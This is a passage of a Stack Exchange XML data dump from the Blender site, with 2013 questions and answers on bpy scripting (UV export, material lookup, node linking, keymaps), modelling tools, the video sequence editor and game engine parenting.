  <row Id="4819" PostTypeId="2" ParentId="4817" CreationDate="2013-11-11T13:52:39.250" Score="15" Body="&lt;p&gt;I wouldn't be surprised if there were a better solution, but here's what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = bpy.context.object.active_material&#xA;objs = []&#xA;for obj in bpy.data.objects:&#xA;    for slot in obj.material_slots:&#xA;        if slot.material == mat:&#xA;            objs.append(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;objs&lt;/code&gt; will be a list of objects with the material &lt;code&gt;mat&lt;/code&gt;. If you only know the material name and it's not the active material, simply replace the first line with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = bpy.data.materials['material_name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: This does not check if a material is assigned to any faces on the object, simply if the material is in one of the slots for that object.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-11-11T13:52:39.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4820" PostTypeId="1" CreationDate="2013-11-11T14:47:34.327" Score="10" ViewCount="8182" Body="&lt;p&gt;I'm having massive trouble exporting UV coordinates from Blender. I'm using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&quot;&quot;&#xA;Name: 'PMDL'&#xA;Blender: 263&#xA;Group: 'Export'&#xA;Tooltip: 'Exports to ESTL format'&#xA;&quot;&quot;&quot;&#xA;&#xA;bl_info={&#xA;        &quot;name&quot;:             &quot;ESTL&quot;,&#xA;        &quot;description&quot;:      &quot;Exports to estl format&quot;,&#xA;        &quot;author&quot;:           &quot;Doxin&quot;,&#xA;        &quot;version&quot;:          (0,2),&#xA;        &quot;blender&quot;:          (2,60,0),&#xA;        &quot;location&quot;:         &quot;File &amp;gt; Import-Export&quot;,&#xA;        &quot;category&quot;:         &quot;Import-Export&quot;&#xA;        }&#xA;&#xA;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;import sys&#xA;import struct&#xA;&#xA;class ExportMyFormat(bpy.types.Operator, ExportHelper):&#xA;    bl_idname       = &quot;model.estl&quot;;&#xA;    bl_label        = &quot;ESTL Exporter&quot;;&#xA;    bl_options      = {'PRESET'};&#xA;&#xA;    filename_ext    = &quot;.estl&quot;;&#xA;&#xA;    def execute(self, context):&#xA;        with open(self.filepath,&quot;wb&quot;) as fid:&#xA;            fid.write(b&quot;ExtendedStl&quot;)&#xA;            fid.write(struct.pack(&quot;I&quot;,0))&#xA;&#xA;            count=0&#xA;            for ob in bpy.context.scene.objects:&#xA;                try:&#xA;                    ob.data.polygons&#xA;                except AttributeError:&#xA;                    continue&#xA;&#xA;                bpy.context.scene.objects.active=ob&#xA;                bpy.ops.object.mode_set(mode='EDIT')&#xA;                bpy.ops.mesh.quads_convert_to_tris()&#xA;                bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;                count+=len(ob.data.polygons)&#xA;&#xA;            fid.write(struct.pack(&quot;I&quot;,count))&#xA;            bpy.ops.object.mode_set(mode='OBJECT')&#xA;            for ob in bpy.context.scene.objects:&#xA;                try:&#xA;                    ob.data.polygons&#xA;                except AttributeError:&#xA;                    continue&#xA;&#xA;                for face in ob.data.polygons:&#xA;                    for vert, loop in zip(face.vertices, face.loop_indices):&#xA;                        for item in ob.data.vertices[vert].normal:#normal&#xA;                            fid.write(struct.pack(&quot;f&quot;,item))&#xA;                        for item in ob.data.vertices[vert].co:#vertex&#xA;                            fid.write(struct.pack(&quot;f&quot;,item))&#xA;                        for item in (ob.data.uv_layers.active.data[loop].uv if ob.data.uv_layers.active!=None else (0,0)):#uv&#xA;                            fid.write(struct.pack(&quot;f&quot;,item))&#xA;&#xA;        return {'FINISHED'};&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(ExportMyFormat.bl_idname, text=&quot;ESTL (.estl)&quot;);&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__);&#xA;    bpy.types.INFO_MT_file_export.append(menu_func);&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__);&#xA;    bpy.types.INFO_MT_file_export.remove(menu_func);&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like almost every triangle gets the wrong UV coordinates, causing stretching and smearing of my textures. I've been stuck on this issue for a couple days now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if I'm doing something obvious wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: it seems that somehow the triangulation is messing up my uvs, if I triangulate the mesh before unwrapping the uvs seem to be mostly correct.&lt;/p&gt;&#xA;" OwnerUserId="1585" LastEditorUserId="1585" LastEditDate="2013-11-13T16:26:06.330" LastActivityDate="2014-02-03T00:00:33.493" Title="Exporting UV coordinates" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="2" ParentId="4820" CreationDate="2013-11-11T14:53:11.853" Score="5" Body="&lt;p&gt;This issue is that you are accessing UV's by the vertex index,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob.data.uv_layers.active.data[vert].uv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is incorrect, you need to iterate over the face loops and access UV's by the loop index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how you could access loops.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            for face in ob.data.polygons:&#xA;                for vert, loop in zip(face.vertices, face.loop_indices):&#xA;                    for item in ob.data.vertices[vert].normal:  # normal&#xA;                        fid.write(struct.pack(&quot;f&quot;,item))&#xA;                    for item in ob.data.vertices[vert].co:  # vertex&#xA;                        fid.write(struct.pack(&quot;f&quot;,item))&#xA;                    for item in (ob.data.uv_layers.active.data[loop].uv if ob.data.uv_layers.active is not None else (0.0, 0.0)):  # uv&#xA;                        fid.write(struct.pack(&quot;f&quot;,item))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;ob.data.uv_layers.active is not None&lt;/code&gt; should probably be moved outside of the loop as assigned a var &lt;code&gt;has_uv&lt;/code&gt; for eg, its quite inefficient to check this all the time.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-11-11T14:58:29.907" LastActivityDate="2013-11-11T14:58:29.907" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="2" ParentId="4801" CreationDate="2013-11-11T15:15:11.810" Score="1" Body="&lt;p&gt;The result:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Latin&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text_string = ''.join([chr(i) for i in range(ord(u'\u0021'), ord(u'\u007E') + 1)])&#xA;bpy.ops.font.text_insert(text=text_string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Cyrilic&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text_string = ''.join([chr(i) for i in range(ord(u'\u0410'), ord(u'\u044F') + 1)])&#xA;bpy.ops.font.text_insert(text=text_string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="6204" LastEditDate="2016-12-19T04:45:38.617" LastActivityDate="2016-12-19T04:45:38.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostTypeId="1" CreationDate="2013-11-11T19:19:18.637" Score="1" ViewCount="138" Body="&lt;p&gt;My scene currently has 2 objects in it from imported gis data sets.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The first object contains a series of cubes, think building shapes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second object contains a series of vertices that define the z up height. One vertice for each cube and is roughly placed in the center of each cube top face (building elevation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the fastest method to snap a cube top face to the above vertice if you had a few hundred cubes? (The snap to vertex is not workable because of the number of verts in the scene)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a drop to the ground script for objects so I think there may be addon for gis data out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1588" LastActivityDate="2013-11-12T11:26:53.557" Title="Transform cube face in the z up direction to vertice above (need automation method)" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostTypeId="2" ParentId="4802" CreationDate="2013-11-11T22:52:41.753" Score="3" Body="&lt;p&gt;If your action contain some keyframes on the &quot;root&quot; bone's channel, all items you assign this action will be mandatorily aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should remove the root bone's keyframes from the action, and then animate the roots separately. If needed, you can create separate actions, one per character, and mix them with the first action.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-11-11T23:22:39.493" LastActivityDate="2013-11-11T23:22:39.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostTypeId="1" AcceptedAnswerId="4851" CreationDate="2013-11-12T00:13:33.000" Score="6" ViewCount="3648" Body="&lt;p&gt;I'm using the blender game engine, and I'd like to generate an object each time a key is pressed (i.e. press &lt;kbd&gt;Space&lt;/kbd&gt;, and a rock will be loaded into a catapult)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I am using this object within &lt;a href=&quot;http://www.openrobots.org/wiki/morse&quot;&gt;Morse&lt;/a&gt;, which currently doesn't support using hidden layers (everything seems to be put on the visible layer as soon as it is loaded)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;scene = logic.getCurrentScene()&#xA;rock = scene.addObject(&quot;Rock&quot;, &quot;Catapult&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Catapult is a mesh on one layer, and rock is a mesh on another. I would then use the logic bricks to make a keyboard actuator that calls this script. This works fine when I run it in Blender (currently using v2.6), but I get an error when running it with Morse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ValueError: scene.addObject(object, other, time): KX_Scene (first argument): object must be in an inactive layer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to generate objects without needing the inactive layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a way to programmatically move an object from an active layer to an inactive layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1590" LastEditorUserId="599" LastEditDate="2013-11-12T00:18:58.253" LastActivityDate="2013-11-13T14:58:20.203" Title="Create an object in the BGE via python without using an inactive layer" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostTypeId="1" AcceptedAnswerId="4829" CreationDate="2013-11-12T00:42:36.463" Score="1" ViewCount="187" Body="&lt;p&gt;Is there a way to automatically set selected nodes to use a specific vector input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. If you have a larger node setup with a lot of texture nodes, it can be a pain to go back through and connect each texture node's vector input to a texture coordinate node individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automate this process?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-16T01:00:06.097" Title="Is it possible to set all texture nodes in a node tree to a specific vector?" Tags="&lt;workflow&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4829" PostTypeId="2" ParentId="4828" CreationDate="2013-11-12T05:49:40.970" Score="1" Body="&lt;p&gt;Add a &lt;em&gt;Reroute&lt;/em&gt; node with the desired value and select it. Then, you can use this script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# First, define some stuff&#xA;# mat: the material; tree: the node tree; nodes: the node list&#xA;mat = bpy.data.materials['Material Name'] # or index&#xA;tree = mat.node_tree&#xA;nodes = tree.nodes&#xA;&#xA;# We'll find the source node and store it in src&#xA;src_socket = None&#xA;if nodes.active:&#xA;  if len(nodes.active.outputs) == 1:&#xA;    src_socket = nodes.active.outputs[0]&#xA;&#xA;if src_socket is not None:                       # only work if node found&#xA;  for node in nodes:                             # check each node&#xA;    if node.type.startswith('TEX'):              # only operate on textures&#xA;      for input in node.inputs:                  # check each input&#xA;        if input.type == 'VECTOR':               # only operate on vectors&#xA;          tree.links.new(src_socket, input)      # set up the link&#xA;          break                                  # only do the first vector&#xA;else:                                            # fail if no valid select&#xA;  print('No single-output node selected')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested on Blender v2.69 r60995.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-11-16T01:00:06.097" LastActivityDate="2013-11-16T01:00:06.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4830" PostTypeId="2" ParentId="4807" CreationDate="2013-11-12T08:44:25.267" Score="2" Body="&lt;p&gt;Just move it in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Object Mode&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt; to toggle)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Mirror modifier works according to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Origin&lt;/em&gt;&lt;/a&gt; (aka &lt;em&gt;pivot&lt;/em&gt;) of the object - that is the orange dot that shows on selected objects - unless you specifically tell it to use a different location (by selecting something for the &lt;em&gt;Mirror Object&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YEgJL.jpg&quot; alt=&quot;Origin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Edit mode&lt;/em&gt;&lt;/a&gt;, you are manipulating the vertices/edges/faces of the mesh itself, not the object as a whole, so when you select everything in edit mode and move it about, the origin stays where it was and thus the mirrored mesh goes out of alignment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GvysM.jpg&quot; alt=&quot;Offset in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead, &lt;kbd&gt;Tab&lt;/kbd&gt; out of edit mode and move the entire object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to reposition the origin of the object without moving the mesh, you can use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to place the 3D Cursor at some position, and then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; in object mode to move the origin to the 3D cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VBMFA.jpg&quot; alt=&quot;Origin to Selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may notice the &lt;em&gt;Origin to Selected&lt;/em&gt; button in that screenshot, this is not a built-in function of blender but rather a function in my own addon that simply performs these two functions in one go since I do this frequently. If anyone is interested, I could upload this addon.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="599" LastEditDate="2013-11-12T08:48:14.070" LastActivityDate="2013-11-12T08:48:14.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4831" PostTypeId="2" ParentId="4824" CreationDate="2013-11-12T11:26:53.557" Score="2" Body="&lt;p&gt;You may be asking for the DupliVerts feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the general steps would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the origin of the cube to the center of its top face;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;First select the cube, then select the vertex cloud object, press &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;Object&lt;/strong&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Keep the parent object (vertex cloud) selected, go to &lt;strong&gt;Properties &gt; Object Data &gt; Duplication&lt;/strong&gt;, select '&lt;strong&gt;Verts&lt;/strong&gt;&quot;. As shown in the image below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ys4a.png&quot; alt=&quot;vertex_snap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: Remember to keep their origins staying at same location.  &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-12T11:26:53.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4832" PostTypeId="1" AcceptedAnswerId="4840" CreationDate="2013-11-12T13:06:01.600" Score="3" ViewCount="972" Body="&lt;p&gt;I tried to redefine a shortcut in my addon registration step, but I can't find which one to change. In the user one (&lt;code&gt;bpy.context.window_manager.keyconfigs.user.keymaps['3D View'].keymap_items&lt;/code&gt;) there are 3 &lt;code&gt;transform.translate&lt;/code&gt; keymaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can my registration code recognise the one in transform modal map and rebind it to a custom key ? How to restore it in the &lt;em&gt;unregister&lt;/em&gt; function ?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2013-11-12T13:54:09.760" LastActivityDate="2013-11-15T10:12:15.667" Title="How to find the right keymap to change on addon registration?" Tags="&lt;scripting&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4833" PostTypeId="2" ParentId="3781" CreationDate="2013-11-12T14:03:14.297" Score="1" Body="&lt;p&gt;Normally, Cycles Texture will not be defaultly linked by another material. The problem you met is because you put the texture in the node group, which can be shared as sort of &quot;public datablock&quot;, while there is currently none for that in the Duplicate Data setting yet. Probably we should suggest some genius developer to improve this? lol&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, just simply make a single user for the node group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally back to your question: the &quot;Material&quot; and &quot;Texture&quot; checkbox there perfectly work for BI. As for Cycles, Material does work, but for the Cycles Texture, I don't think it's gonna work that way, since it needn't. As I said, Cycles texture is kind of &quot;material-independent&quot;, unless being part of a node group, in other words, an independent datablock shared by materials.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-12T14:03:14.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4834" PostTypeId="1" AcceptedAnswerId="4836" CreationDate="2013-11-12T19:52:10.530" Score="4" ViewCount="8398" Body="&lt;p&gt;I am trying to set up a Minecraft rig mouth that will have more controls and will be rounded, but I am having issues trying to figure out what this guy did here. First, he did what looked like a loop cut and slide, but instead of drawing a line it selected all the edges it passed through. He then cut to a new clip where the mouth was already set up like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQKrt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video is in 3 times speed but if you download a youtube plugin you can slow it down to 0.25 speed of the video and then if you do the spacebar trick you can slow it down so it shows 1 frame at a time and it is really slow. &lt;a href=&quot;http://www.youtube.com/watch?v=0YXAEld0t0w&amp;amp;list=SPKVTzPxdshlFigjKjJfrUiTpQ9-r_hg_t&amp;amp;index=7&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the link&lt;/a&gt; if you want or need to see the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I am asking is how can I create those 8 basic segments.&lt;/p&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="12" LastEditDate="2014-04-19T04:44:20.873" LastActivityDate="2017-04-11T04:31:52.067" Title="How to inset a face?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4835" PostTypeId="1" AcceptedAnswerId="4942" CreationDate="2013-11-12T20:42:47.377" Score="9" ViewCount="1986" Body="&lt;p&gt;I am trying to edit high resolution footage in VSE. To make it possible I need to use proxies for all strips. Due to high resolution I opted to get only 25% sized proxies which seem to have enough detail to do editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I am facing issue with cropping footage. When I enable proxies in preview it shows it scaled down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes proxies rather useless as I can't see what will be the result of my transformations.&#xA;Is there a way to make use of proxies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using blender 2.69&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are images that show what I am talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default strip settings, no proxy and offset disabled. It gets stretched to fill frame (which screws up aspect ratio).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npuA9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling proxy makes quality lower, but framing is same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1VEvA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enabling &lt;code&gt;offset&lt;/code&gt; makes strip &lt;em&gt;exceed&lt;/em&gt; frame as it is bigger than target resolution.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v7B02.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my problems comes here, as after enabling proxy I expected to see same part of image, but at lower quality. This is however what I got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4a7cT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And unsurprisingly any translations/scaling when using proxy doesn't let me estimate what will happen to final render.&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="1030" LastEditDate="2013-11-13T23:49:35.427" LastActivityDate="2020-08-10T12:14:04.337" Title="VSE proxy and offset+crop" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostTypeId="2" ParentId="4834" CreationDate="2013-11-12T20:51:26.500" Score="5" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/duplicating/inset.html?#inset-faces&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Inset&lt;/em&gt;&lt;/a&gt; tool (&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This tool takes the currently selected faces and creates an inset of&#xA;  them, with adjustable thickness and depth. The tool is modal, such&#xA;  that when you activate it, you may adjust the thickness with your&#xA;  mouse position. You may also adjust the depth of the inset during the&#xA;  modal operation by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces to inset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YLU2K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to inset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yQh4f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-04-11T04:31:52.067" LastActivityDate="2017-04-11T04:31:52.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4837" PostTypeId="1" AcceptedAnswerId="14158" CreationDate="2013-11-12T23:09:45.703" Score="0" ViewCount="347" Body="&lt;p&gt;I have a simple game so far. The game is not made with realistic characters, but &quot;blocky&quot; ones, like Blockland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6MxJx.png&quot; alt=&quot;The game is blocky&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several objects: collision-bound object and body (torso, arms, legs, head). Everything is set to &lt;em&gt;No Collision&lt;/em&gt; except the bound object. The bound object have &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; movements, and the body has rotation, which comes from the head (I used &lt;code&gt;ml.inherit&lt;/code&gt; in the mousemove event).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1EPQ.png&quot; alt=&quot;Lf is left leg, rf is right leg, but here is the basic world with the parents and the children&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make the &lt;strong&gt;bound object parented to the body&lt;/strong&gt; (the head is always the parent on the body), then when the bound object move, the &lt;strong&gt;body won't move&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if I make the body parented to the bound object, the bound object will not rotate which messes up the movement (I used local coordinates). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the bound object rotate and the body to move with it?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1363" LastEditDate="2014-07-17T21:49:39.167" LastActivityDate="2014-08-06T23:08:01.033" Title="BGE Parenting loop" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4838" PostTypeId="2" ParentId="4820" CreationDate="2013-11-13T00:48:13.877" Score="3" Body="&lt;p&gt;You could try this to match up face-verts and loops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class EmptyUV:&#xA;    uv = (0.0, 0.0)&#xA;    def __getitem__(self, index): return self&#xA;# ...&#xA;&#xA;ob = bpy.context.object&#xA;uv_act = ob.data.uv_layers.active&#xA;uv_layer = uv_act.data if uv_act is not None else EmptyUV()&#xA;&#xA;verts = ob.data.vertices&#xA;loop_vert = {l.index: l.vertex_index for l in ob.data.loops}&#xA;&#xA;for face in ob.data.polygons:&#xA;    for li in face.loop_indices:&#xA;        struct.pack(&quot;fff&quot;, *verts[loop_vert[li]].normal)&#xA;        struct.pack(&quot;fff&quot;, *verts[loop_vert[li]].co)&#xA;        struct.pack(&quot;ff&quot;, *uv_layer[li].uv)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-11-13T21:39:00.560" LastActivityDate="2013-11-13T21:39:00.560" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4840" PostTypeId="2" ParentId="4832" CreationDate="2013-11-13T01:21:41.127" Score="4" Body="&lt;p&gt;Are you after one of these, e.g. rotate?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.window_manager.keyconfigs.user.keymaps['Transform Modal Map'].keymap_items[5].propvalue&#xA;'ROTATE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure there's only one modal map for all transform operators (and not changable with python).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;wm = bpy.context.window_manager&#xA;keymap = [k for k in wm.keyconfigs.user.keymaps['Transform Modal Map'].keymap_items if k.type == 'G'] #k.propvalue==&quot;TRANSLATE&quot;]&#xA;modal_translate = keymap[0] if len(keymap) &amp;gt; 0 else None&#xA;print(&quot;\n&quot;, modal_translate)&#xA;for attr in dir(modal_translate):&#xA;    if not attr.startswith(&quot;_&quot;):&#xA;        val = getattr(modal_translate, attr)&#xA;        if type(val) in {int, float, str, bool}:&#xA;            print(&quot;\t&quot;, attr, &quot;=&quot;, val)&#xA;&#xA;&quot;&quot;&quot;&#xA; &amp;lt;bpy_struct, 